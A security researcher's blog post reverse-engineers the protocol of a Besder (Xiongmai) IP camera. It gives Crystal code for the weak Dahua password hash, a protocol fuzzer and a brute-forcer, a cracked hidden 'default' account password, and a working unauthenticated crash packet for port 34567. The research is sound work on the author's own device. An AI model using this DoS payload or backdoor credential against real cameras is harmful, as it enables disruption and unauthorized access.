Skip to main content

Besder - An Investigative Journey Part 1

Hello everyone, and welcome to my investigative journey into the Besder IP20H1 network camera! Last time, (Part 1, Part 2), I covered the VStarCam C7824WIP, a fully featured network camera with some BIG custom protocol flaws. Using knowledge gained from investigation, I was able to write an "anti-client" which could pilfer the password to the camera from a client, reflect the credentials at the camera, then install our own firmware which unfortunately bricked the device. I bought a brand new device and I'm ready to try again.

After my first article, Brian Cardiff from Manas, the creators of the Crystal language, reached out to me to say that they enjoyed the article and they wanted to give me a gift card to Amazon to pick out a new camera! And that's exactly what I did. Big thank you to the Crystal team for doing this, they are some wonderful people, and I'm really glad to be a part of their community!

If you would like to participate, you can buy the camera from Amazon, and follow along, just be sure to follow these guidelines, as the camera itself is basically a bot in a botnet.

You can view most of the code in the project on Github.


This time I got a camera that had less features than the VStarCam, from a  company called Besder. The exact model is IP20H1.

Just looking at the Amazon page, the advertisement promises a couple things.
  • 1080p video
  • POE powered
  • Onvif
  • IR day/night switch
  • Motion Detection
It doesn't have any movement, speaker, or microphone capabilities.

Opening up the device we can get a clearer look inside.

The camera head is on an up-down swivel, while the entire base rotates around. Kind of neat. Some screws and we can detach the camera head from the body.

Right away we can see 4 wire connectors. The longest one is the Ethernet cable in. As for the red and black one, that is connected to the IR LED to power. The red and blue one I'm guessing would be to help force on the IR, and the single red wire is the day light sensor, pure guess though on which are which.

An interesting note, the single red wire jumper is actually wedged into a three pin socket, you can see what I'm talking about in this picture.

There is also a free jumper, who knows what it might do. My guess is a potential UART, or motor control but honestly I don't know.

The processor, yet again, is a HI3516, a common IP camera SoC.
Looking around the board we can also see a number of interesting ICs, using google we can find out what they do.

Ethernet Transceiver
"Network port filter"
Motor Driver, even though no motor lol
Could find this one but did find this, maybe same?
Serial flash memory, uses SPI?
Low Noise CMOS Volt Regulators

3 unused pins, maybe UART? SPI?
Honestly I'm no hardware expert, but I did recently pick up a FT232H I've been wanting to learn with. I'd really like to be able to pull the firmware directly off the device, right from the Winbond chip. Also, I'd love to try and unbrick my VStarCam, and maybe even figure out how to write my own total firmware conversion!


I plan to do the same thing I did with the VStarCam, capture packets, read through them, get a basic idea for the connection process, and start writing my very own client! First things first, we want to get an idea of a couple things,
  • Get a list of all port numbers, source and destination, and who communicated using them.
  • Study the basic packet structure and figure out the basic formatting.
  • Look at the client software for clues into the inner workings.


Same as before, the main idea is to login with the app, and then immediately disconnect, so it's easier to understand the login process. Just for information, we'll do this multiple times to see if there are any important variables in the connection process we may need to track.

This time the app is the XMEye app, which operates very similarly to the Eye4 app that the VStarCam uses. The app, once again, has a stupid cloud login, which means the camera has that DDNS connectivity built in again. I'm really glad that I wrote rules in my network to prevent the camera from reaching the internet.

Once again, broadcast is being used in a poor way, allowing potential attackers to find ALL cameras on a network with one simple magic packet. We are also seeing some weird UDP protocol again.

Taking a look at the first packet, we are greeted with a 20 byte sequence, a single byte 0xFF, padded by thirteen 0x00, then 0xFA05, and lastly four 0x00. We will call this the DBP (Discovery Broadcast Packet).

Looking ahead, there is a similar marking to the 0xFA05, a 0xFB05. My guess would be that 0xFA05 is the client, and 0xFB05 is the camera. There is also a treasure trove of data sent to broadcast. From this packet we can see the format of choice is JSON. This will be a lot easier to work with that the custom protocol, because it requires less de-serialization work, the hard part is written for us! We will call this the DBR (Discovery Broadcast Reply)

It does this little dance to share the UDPPort and the TCPPort, both of which are most likely hard-coded in, so there isn't much of a reason for it. We also know that "Ret : 100" means the command succeeded!

Looking at the header, we can see the data contains a 0x3E, which just happens to be the exact size of the data, without the 20 byte header. When googling the name "GetSafetyAbility", I couldn't find anything, not on GitHub, or any other search engine (I even tried Baidu). The protocol also switched off from UDP to TCP.

Going through the rest of the packets we can see we only really care about the data part of the TCP flow, not the SYN or ACK, so I set up  a simple Wireshark filter to filter the results into something a little more orderly. We only want TCP PSH packets.
  • tcp.flags.push == 1

When plugging some of the strings from this packet into google, I ended up finding a couple pieces of interesting information.
In the PasteBin, there is a log of some sort. Looking at some of the strings inside provides some useful information. First of all, this is some sort of Android client, maybe even the one we have installed, listing out the JSON messages it sends and a bunch of parameters. Looking further into it, we may be able to learn more about how the headers are built. There are some strings that specifically look like they might be something related to the header.

The Gist is more of the same, although simply sent/received packets, nothing too interesting, but the guy did leave his hashed password in the file, maybe it can be brute forced back to plaintext.

The Github has the most interesting information, which describes exactly how the headers are made. The important function trace we care about starts in sendSocketData, which contains the function call we really care about getSendDataInBinary. This takes the header data, and puts it into a 20 byte buffer. Looking at the function itself explains it all.

Looking at an example of it's usage in the code shows that all bytes are actually ordered in Little Endian.

We now know that secondInt is actually the SessionID! However, looking fourthInt, we still dont know what it is, but the value is hardcoded to every single command, so we can guess that whatever it is, it's tied to the command name or something.

The camera then sends the replies to the clients previous commands.

Now we finally start to get to the meat. The client attempts to login to the device, but I have changed the default password to "password", whatever this password is, it's most likely the blank password. The reply afterwards should be a "failure", we can see that the next login attempt has a different password, and actually succeeded.

Blank Password

Failure! Ret = 203
Correct Password
Success! Ret = 100
Interesting thing I noticed, when authentication failed, it reported it was a DVR, where when it succeeded it reports its an IPC. So far though, there is little information on what controls the SessionID field. We are probably going to need to figure this out.


We also finally got some passwords, but they were hashed, so we are going to need to figure out what method the manufacturer . First thing to notice is that, in other captures, the PassWord field is always the same, meaning chances are we aren't dealing with a random salt every time. If they do use a salt it must be hard coded into the camera itself, but this is unlikely. What IS really weird about this hash is that it says it's "MD5" but the hash itself is only 8 bytes, where MD5 has 16. This means that there is some hashing protocol, but it is custom and built upon MD5.

I actually searched up and down and couldn't find anything about this hash format. I tried tools like CyberChef and a hash calculator to no success. Unfortunately, I couldn't find the hashing format used, so I asked the wonderful people on the Voiding Warranties Discord, and admin Retr0id knew the hash type, Dahua! Since he helped me out, I'll plug his very cool exploit for a brand of wifi-enabled SD cards, go check it out, it's a super cool project!

In the end I used a bit of source code for the hashing system to write my own Dahua hashing for Crystal.

# Code translated from
require "digest/md5"

module Dahua
def self.compress(bytes : Slice(UInt8)) : Bytes
i = 0
j = 0
output =, 0)

while i < bytes.size
output[j] = ((bytes[i].to_u32 + bytes[i+1].to_u32) % 62).to_u8
if output[j] < 10
output[j] += 48
elsif output[j] < 36
output[j] += 55

output[j] += 61

i = i+2
j = j+1

def self.digest(password)
md5_bytes = Digest::MD5.digest(password.encode("ascii"))
compressed = compress(md5_bytes.to_slice)

I'm not hashing expert, but this method to me screams, "COLLISION". From my calculation, this system loses about 99.9% of the entropy in the hash, that's not even a joke, each character in the Dahua hash has a 62 possibilities, where the original MD5 hash has 65535 possibilities each (since the hashing algorithm takes two bytes from the MD5 hash for each one of it's characters). This means that for each MD5 hash, there is a total of  2^(8*16), which is a very big number, and reduces it down to 62^8, which is a much much smaller number.

Using the digest method, we can attempt to determine our password hashes.

"" = tlJwpbo6
"password" = mF95aD4o
"abcdef" = vfMMASaj
"123456" = nTBCS19C
"asdfghjkl" = MajKjGGZ
"000000000000000000000000" = lJ84MHiF

[Done] exited with code=0 in 0.586 seconds

Now let's do a little testing to see if there are parts of the protocol we can skip! For example, the beginning UDP dance might be skippable, let's write a simple program to attempt to go straight to the TCP port, 34567.
require "./dahua_hash"
require "json"
require "socket"

def make_login_header(json)

json_login = do |json|
json.object do
json.field "EncryptType", "MD5"
json.field "LoginType", "DVRIP-Xm030"
json.field "UserName", "admin"
json.field "PassWord", Dahua.digest("password")

socket ="", 34567)
socket << (make_login_header(json_login) + json_login)
reply = socket.gets
if reply
reply_parsed = JSON.parse reply[20...reply.size]
if reply_parsed["Ret"] == 100
puts "SUCCESS!"
puts "FAILURE!"



[Done] exited with code=0 in 0.831 seconds


When dealing with a protocol where the source code and implementation are secret to us,we need to do certain kinds of testing to find out how to format data appropriately, as well as determine what can change behavior, what can be ignored, and what we need to pay attention to.

We want to poke at SessionID a bit, lets try to login repeatedly to get an idea of SessionIDs values. For this example, we login to the camera, then send a command, then print the SessionID.

0 = 0x00000001
1 = 0x00000002
2 = 0x00000003
3 = 0x00000004
4 = 0x00000005
5 = 0x00000006
6 = 0x00000007
7 = 0x00000008
8 = 0x00000009
[Done] exited with code=0 in 1.025 seconds

Since SessionID acts like a simple incrementer, we can easily write our own values. Getting an idea of how the camera might produce it's SessionID fields may help us later to develop an anti-client.

Let's make an attempt to send another command after logging in, we first will try to replay a commands SessionID, then try to replay the command with a randomized SessionID. This will give us greater insight into what works, and what doesn't.

For this command I'll be using SystemInfo which I found while sniffing! This one is used by the client to get a list of some settings and version numbers. Playing around with the SessionID field shows the camera doesn't care about it. I tried 0x00000007, 0x11111117, and a couple other random numbers and they all seemed to work!

"Name" : "SystemInfo",
"Ret" : 100,
"SessionID" : "0x11111117",
"SystemInfo" : {
"AlarmInChannel" : 1,
"AlarmOutChannel" : 1,
"AudioInChannel" : 1,
"BuildTime" : "2018-08-29 09:00:36",
"CombineSwitch" : 0,
"DeviceModel" : "",
"DeviceRunTime" : "0x00000FFA",
"DeviceType" : 0,
"DigChannel" : 0,
"EncryptVersion" : "Unknown",
"ExtraChannel" : 0,
"HardWare" : "HI3516EV100_50H20L_S38",
"HardWareVersion" : "Unknown",
"SerialNo" : "41e6853ada5e9323",
"SoftWareVersion" : "V4.02.R12.00035520.12012.047500.00200",
"TalkInChannel" : 1,
"TalkOutChannel" : 1,
"UpdataTime" : "",
"UpdataType" : "0x00000000",
"VideoInChannel" : 1,
"VideoOutChannel" : 1

[Done] exited with code=0 in 0.86 seconds

There were also a couple values in the 20 byte header that I couldn't decipher, so I wrote a fuzzer to see if there was anything interesting about them. The results I got were, strange, to say the least. I used this method to make a basic command, including the header.

# Class that contains the basic process for making a message to/from the camera
class XMMessage
property type : UInt32
property session_id : UInt32
property unknown1 : UInt32
property unknown2 : UInt16
property magic : UInt16
property size : UInt32
property message : String

#TODO: Allow for spoofing of size, for example changing size to say that its 32 bytes, when its 0 or something
def self.from_s(string)
io = string
m =
m.type = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.session_id = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.unknown1 = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.unknown2 = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
m.magic = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
m.size = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.message = string[20..string.size]

def initialize(@type = 0x000001ff_u32, @session_id = 0_u32, @unknown1 = 0_u32, @unknown2 = 0_u16, @magic = 0_u16, @size = 0_u32, @message = "")

def magic1 : UInt8
(magic & 0xFF).to_u8

def magic2 : UInt8
(magic >> 8).to_u8

def make_header
header_io =
header_io.write_bytes(type, IO::ByteFormat::LittleEndian)
header_io.write_bytes(session_id, IO::ByteFormat::LittleEndian)
header_io.write_bytes(unknown1, IO::ByteFormat::LittleEndian)
header_io.write_bytes(unknown2, IO::ByteFormat::LittleEndian)
header_io.write_bytes(magic, IO::ByteFormat::LittleEndian)
header_io.write_bytes(self.message.size, IO::ByteFormat::LittleEndian)


def make : String
(make_header + self.message)

Next, I made the main part of the fuzzer, which fills in every possible byte value, waits for a reply, then disconnects, and loops. I keep track of which magic return what reply.

If you'd like to view the code, and understand more about how the fuzzing process needs to work, check out the GitHub page for the project.

Some notes on this program,
  • There are two bytes we want to target, the first magic1, and then magic2.
  • The fuzzer itself has to be extremely fault tolerant, because lots of bad things happen when using it. There is a lot of trial and error in designing one of these.
    • Was the login connection refused? (because camera went offline)
    • Was the command ever replied to?
    • Was the command reply's length zero?
When I want to run it I just do something like this,
class Command::SystemInfo < Command
def initialize(@session_id = 0)
super(magic1: 0xfc_u8, magic2: 0x03_u8, json: do |json|
json.object do
json.field "Name", "SystemInfo"
json.field "SessionID", "0x#{@session_id.to_s(16).rjust(8, '0')}"
end"logs/system_info.log", "w") do |file| 0x11111117),
magic2: (0x3..0x6),
password: "password",
output: file

This will run for a while, eventually producing results, and while the results are accurate, it's too slow! It can take up to 24 hours to complete a single scan of the magic field 0x3 to 0x8, especially because camera turns off and doesn't turn back on for minutes, as well as many other system breaking bugs.

Luckily I had a couple ideas to make it faster.

Making It Faster

During my testing I noticed an interesting quirk of this protocol, the server (camera) would allow as many connections as one wanted open to the same ip address, so long as they were all on different ports. This meant that if I could create a "pool" of sockets, I could use them to audit multiple magics at once, each waiting for their own replies.

You can view the relevant code on GitHub.

Fuzzing Command::SystemInfo
Time: 00:29:14.794430000
Current: 4096/4097 : 1000
Total Completion: 99.976%
Waiting for magics:
0x0ffc : unused : 15642636659266745398 : 00:00:00.394592000
0x0ffd : unused : 3995498554981886474 : 00:00:00.394431000
0x0ff1 : unused : 16849123052220723596 : 00:00:00.424488000
0x0ffe : unused : 15843022912141103538 : 00:00:00.385055000
0x0ff2 : unused : 666834066939202384 : 00:00:00.424001000
0x0ff3 : unused : 11959220922209025486 : 00:00:00.423846000
0x0ff4 : unused : 9858625403406765244 : 00:00:00.423865000
0x0ff5 : unused : 20212055150009910 : 00:00:00.423179000
0x0fff : unused : 15147142017989187717 : 00:00:00.384266000
0x0ff6 : unused : 16036212785124225768 : 00:00:00.423033000
0x0ff7 : unused : 3934626923425214118 : 00:00:00.423048000
0x0fef : unused : 784495433133620875 : 00:00:00.465630000
0x0ff0 : unused : 8924739629740135316 : 00:00:00.465648000
0x0ff8 : unused : 17166435733447359522 : 00:00:00.422446000
0x0ff9 : unused : 11108002682450497409 : 00:00:00.422467000
0x0ffa : unused : 11116907754345188397 : 00:00:00.421792000
0x0ffb : unused : 8156710575546691230 : 00:00:00.421819000
0x1000 : unused : 6252091348165092127 : 00:00:00.384556000
0x0fe9 : unused : 5183855669207984885 : 00:00:00.751042000
0x0fea : unused : 829040888724800310 : 00:00:00.750799000

Factory: done
Last Check In: 2019-04-17 10:59:17 -07:00
Total Successes: 3983
Total Unique Replies: 49
Total Bad Results: 114
Errors: {}

Using this we can fuzz a space of 0x0 to 0x1000 in only 30 minutes!

Each fiber will use it's own socket, send a message, then wait to receive on. If the timeout becomes to great, it drops the message and moves to the next one.

If the camera turns off for some reason, a 2 minute grace period is applied to the time out, to wait for it to attempt to come back. This to ensure all the ground is still covered. This does mean that someone does have to be around to restart the camera if it does go down, but maybe I'll make a raspberry pi that shuts the thing down with a relay one day.

You can view an example log here. I'll be dissecting this log for starters.

The most common reply is,
"{ \"Name\" : \"SystemInfo\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n"

, with around 4000 magics.

This one is a login failure packet. Interestingly enough, it reports a different error code if it doesn't get a password or username, 205.
"{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10744252, \"Ret\" : 205, \"SessionID\" : \"0x0000000B\" }\n"
Bytes: ["0x03e8"]

Whatever these ones do, they report success. Could be interesting to find out exactly what these guys do.

"{ \"Name\" : \"\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03ea", "0x0410", "0x0416", "0x041a", "0x0578", "0x05e0", "0x05dc", "0x05de", "0x0670", "0x06ea", "0x0684", "0x0676", "0x07d2"]

This one is the "keep alive", which keeps the connection to the camera going as long as it recieves a keep alive packet.

"{ \"Name\" : \"KeepAlive\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03ee"]

After some pretty standard results, as well as the actual reply for SystemInfo, we eventually get to an interesting territory that shows us a little insight into the protocol.

"{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0582", "0x0585"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x058c", "0x0591"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0590"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 504, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0596"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x059a", "0x059b"]
"{ \"Name\" : \"\", \"Ret\" : 119, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05a0"]
"{ \"Name\" : \"OPLogQuery\", \"OPLogQuery\" : null, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05a2"]
"{ \"Name\" : \"OPSCalendar\", \"OPSCalendar\" : { \"Mask\" : 0 }, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05a6"]
"{ \"Name\" : \"\", \"Ret\" : 109, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05a8"]
"{ \"Name\" : \"OPTimeQuery\", \"OPTimeQuery\" : \"2000-12-07 02:55:43\", \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05ac"]
"{ \"Name\" : \"\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05b4", "0x0828"]

The original command we were fuzzing is "SystemInfo". Why is the returning name something different, like OPSCalendar? This is interesting, it means that not only does the magic field control command type, some of these commands are not programmed with very much error checking, so they can produce some wild results when poked and prodded in the right way. We also now have new command names to fuzz.

"{ \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05be"]
"{ \"Ret\" : 100, \"SessionID\" : \"0x00000000\", \"Users\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Group\" : \"admin\", \"Memo\" : \"admin 's account\", \"Name\" : \"admin\", \"NoMD5\" : null, \"Password\" : \"mF95aD4o\", \"Reserved\" : true, \"Sharable\" : true }, { \"AuthorityList\" : [ \"Monitor_01\" ], \"Group\" : \"user\", \"Memo\" : \"default account\", \"Name\" : \"default\", \"NoMD5\" : null, \"Password\" : \"OxhlwSG8\", \"Reserved\" : false, \"Sharable\" : false } ] }\n"
Bytes: ["0x05c0"]
"{ \"Groups\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"administrator group\", \"Name\" : \"admin\" }, { \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05c2"]

Now we start getting into the tastiest meat!

{ \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"

Here we find a hidden user account, "default" with stream only privileges. This is great! It's a new avenue to check. It's possible the "authorities list" wasn't set up right, and it may allow us to access functions of the camera without the need for a login. This account also isn't mentioned anywhere in the manuals for the device.

We can also see the full authority list for "admin", which includes shutdown and upgrade privileges. Juicy!

BINARY FILE "{ \"command\" : \"sync\","
Bytes: ["0x0666"]

This one is particularly interesting, my fuzzer flagged it as a "binary file" because it couldn't parse it into JSON. It seems like the command cut off part way through sending, maybe something interesting is happening (like crash).

BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\u000FiP\xB9\a\u0000\u0000"
Bytes: ["0x0606"]
BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xE6\xE5\x90\u0618\u0002\u0000\u0000\u0004"
Bytes: ["0x0608"]
BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xC4\u0003#\"\u0018\u0000\u0000"
Bytes: ["0x066c"]

We also get some zip files which contains settings dumps, while interesting don't contain anything we didn't already know about the camera.

BINARY FILE "\xFF\xD8\xFF\xE0\u0000\u0010JFIF\u0000\u0001\u0001\u0000\u0000\u0001\u0000\u0001\u0000\u0000\xFF"
Bytes: ["0x0618"]

0x0618 gives us an image from the camera, will be useful for later.

Overall, we've gained some interesting insight into the device, and we haven't even fuzzed all the commands, and the unauthenticated user account yet!

The user account "default" ends up giving us a clear picture of whats going on. Since it only has stream privileges, most of it's replies are stream related.

Command results: Started at 2019-04-18 20:07:00 -07:00
Total time: 00:51:34.994305000
"{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10976316, \"Ret\" : 205, \"SessionID\" : \"0x000042C9\" }\n"
Bytes: ["0x03e8"]
"{ \"Name\" : \"\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03f2", "0x080e"]
"{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0585"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0590"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x059a"]
"{ \"Name\" : \"GetSafetyAbility\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\", \"authorizeStat\" : null }\n"
Bytes: ["0x0672"]
"{ \"Name\" : \"OPRecordSnap\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x07fc"]
"{ \"Name\" : \"\", \"Ret\" : 105, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0852"]
"{ \"Name\" : \"\", \"Ret\" : 106, \"SessionID\" : \"0x000066E9\" }\n"
Bytes: ["0x02ee", "0x0192", "0x00a7", "0x0e27", "0x0041", "0x01c1", "0x0032", "0x0fa6", "0x03f7", "0x0740", "0x0d85", "0x0c3e", "0x095d", "0x06ee", "0x02b7", "0x08ac", "0x0db9", "0x08d6", "0x00bb", "0x0b37", "0x0606", "0x0996", "0x0cfb", "0x0afa", "0x00ba", "0x0974", "0x0d51", "0x0906", "0x0f42", "0x05e2"]

Fuzzing with Radamsa

I'd never heard of this tool, until I happened to stumble upon it in a LiveOverflow video. The tool is, very neat to say the least. It takes an input "sample" data, and mutates it in various ways to cause potential bad behavior in an application.

From the previous behavioral fuzzing we did, we know what commands are available by default, so we should fuzz those specific items to see if we can get them to misbehave."./rsrc/op_monitor.txt", "w+") do |file|
file.print 0xabcdef00_u32).to_s
end"./logs/radamsa/op_monitor.log", "w+") do |file|
puts "Testing connection"
socket ="", 34567)
socket.login "default", Dahua.digest("tluafed")
xmm =
socket.send_message xmm
puts "SENT: #{xmm.message}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

1000.times do |x|
socket ="", 34567)
socket.login "default", Dahua.digest("tluafed")
message = `radamsa ./rsrc/op_monitor.txt`
file.puts "SENT: #{message.inspect}"
socket.send message
reply = socket.receive_message
file.puts "GOT: #{reply.message.inspect}"
rescue e : MagicError::SocketException
puts "SOCKET DOWN! #{e.inspect}"
raise e
rescue e : MagicError::Exception
file.puts "ERROR: #{e.inspect}"
puts "ERROR: #{e.inspect}"
rescue e
file.puts "BAD ERROR: #{e.inspect}"
puts "BAD ERROR: #{e.inspect}"

I make a message for OPMonitor, and output it to a file, then send that file through Radamsa, and send it's fuzzing data to the camera. Within about 100 or so tries, it ended up finding a way to disrupt the client and the camera server for about 120 seconds while the camera reboots. This string takes the camera down via ping, connection, etc. This means the camera itself actually get rebooted.

crash_string = "\xFF\u0001\u0000\u0000\u0000\xEF\xCD\xAB\u0000\u0000\u0000\u0000\u0000\u0000\x85\u0005\xA0\u0000\u0000\xE1\u0000{\"Name\":\"OPMonitor\",\"OPMonitor\",\"OPMonitor\":{\"Action\":\"Claim\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"N󠁢ONE\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"N󠁢ONE\",\"Stre amT\u000E\xFE\xFFype\":\"Main\",\"TransMode\":\"TCP\"}},\"Sess󠁎ionID\":\"4294967296xAbcdef256\"}"
socket ="", 34567)
socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

Already Radamsa has helped us find a new and exciting vulnerability.

Final Notes on Fuzzing

We can say for certain that there are some oddities and inconsistencies about how this protocol works, which tends to be good for the red team. The stranger the protocol the more likely someone made a mistake somewhere along the way. There seems to be a lot of potential for that since the protocol acts so erratically.

Brute Force

Looking at the hashing format, we know it's going to have collisions. To find out the plain-text password to the backdoor user account, we are going to need to take some time and brute force the hash to find the plain text password. I just want to point out, this step is mostly unnecessary, since the hash is as good as the plain text password when logging into the camera. Regardless, it would still be a good idea to crack it, just in case.

require "./dahua_hash"

module Brute
def : String, start = "a") : String
current = start

counter = 0
success = false

start_time =
until success
if Dahua.digest(current) == hash
puts "SUCCESS!!!"
success = true

counter += 1
current = current.succ

if counter % 1_000_000 == 0
puts " @ #{current} : #{ - start_time}"
elsif counter % 10_000 == 0
print '.'
end_time =

puts "Time: #{end_time - start_time}"
puts "Result: #{current} : #{Dahua.digest(current)}"

We know the details of the "user" account, so all we need to do is plug it in and BAM!"OxhlwSG8")

We end up getting back the string "tluafed", or "default" backwards, after about 16 or so hours.

Looking up this string provides an interesting article which describes a method of testing to see if the camera is a Xiongmai, by going to a specific htm page, err.htm.

So now we know for certain that the camera is actually a Xiongmai product, not Besder.


During my fuzzing with Radamsa I uncovered a DoS that would take my camera down via the unprivileged user account. Lets find out exactly what caused the crash!

The first thing I did was backup the string, then I cut pieces out until the crash stopped working.

The first thing I did was cut out the "message" portion of the packet, the DoS still worked. After, I started removing bits of the header, which was also the wrong size. I also changed values in it to see what caused caused the crash and what didn't. I found that a size field over 0x80000000 would cause the crash.

crash_string = "\xFF" + ("\x00"*13) + "\x85\x05" + "\x00\x00\x00\x80"

This could mean a couple things, but most likely that someone used a signed variable for an unsigned integer, since size can never be below 0, this could cause an integer overflow error of some kind, most likely because the program is trying to read in a message size, either far beyond what was expected, or in the negative, causing a crash.

Currently, the exploit uses the magic for OPMonitor, but this vulnerability should affect any command we are allowed to access, and since the "login" command is the most unprivilieged, that should be the next target.

crash_string = "\xFF" + ("\x00"*13) + "\xe8\x03" + "\x00\x00\x00\x80"
socket ="", 34567)
#socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

This produces:

SENT: "\xFF\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xE8\u0003\u0000\u0000\u0000\x80"
Unhandled exception: (MagicError::ReceiveEOF)
from src/magic_fuzzer/ in 'receive_message'
from src/ in '__crystal_main'
from /usr/share/crystal/src/crystal/ in 'main_user_code'
from /usr/share/crystal/src/crystal/ in 'main'
from /usr/share/crystal/src/crystal/ in 'main'
from __libc_start_main
from _start
from ???

The ReceiveEOF proves that the socket closed and the server went down.

The camera will go down for about 2 minutes, while still responding to pings for a short period of time while it reboots. The client cannot connect during this reboot period.

Thank you for reading, stay tuned for part two, going to try to hijack the client again, as well as deeper more involved fuzzing! If you liked this article, help me get a job ;).

All important code and logs can be found on Github.


Popular posts from this blog

VStarCam - An Investigative Security Journey - Part 1

Hello everyone and welcome to my first post on my new blog!

Today I wanted to talk about a project I've been working on, and detail some of the things I found and stuff I tried. I think it'll be a good post mortem for myself to study later when I need some of these tactics again.

A couple years ago, after watching a wonderful presentation at BlackHat, I bought a cheap $20 unbranded netcam. The camera came with a serial number on the bottom (C7824WIP). The camera itself isn't the worst, I mean it is a low quality Chinese camera, but the features on the device were pretty interesting. It has 2 axis panning, infrared night vision, speaker, microphone, and both wireless and wired connections, which is pretty good considering it only cost me like $20. However, a couple aspects about the device really made me worry, and as a security guy, I wanted to dig deeper.

I decided I'd try to do a full security audit on the device. I wanted to try it because I didn't really know a…

VStarCam - An Investigative Security Journey - Part 2

In the last part, I covered the basics of the UDP protocol used by the camera, as well as some of the quirks and potential problems. In this part, we will be looking at finishing up the UDP protocol, and using it to exploit the Android client, revealing the password of the device, as well as attempting to upload a custom firmware to the camera.
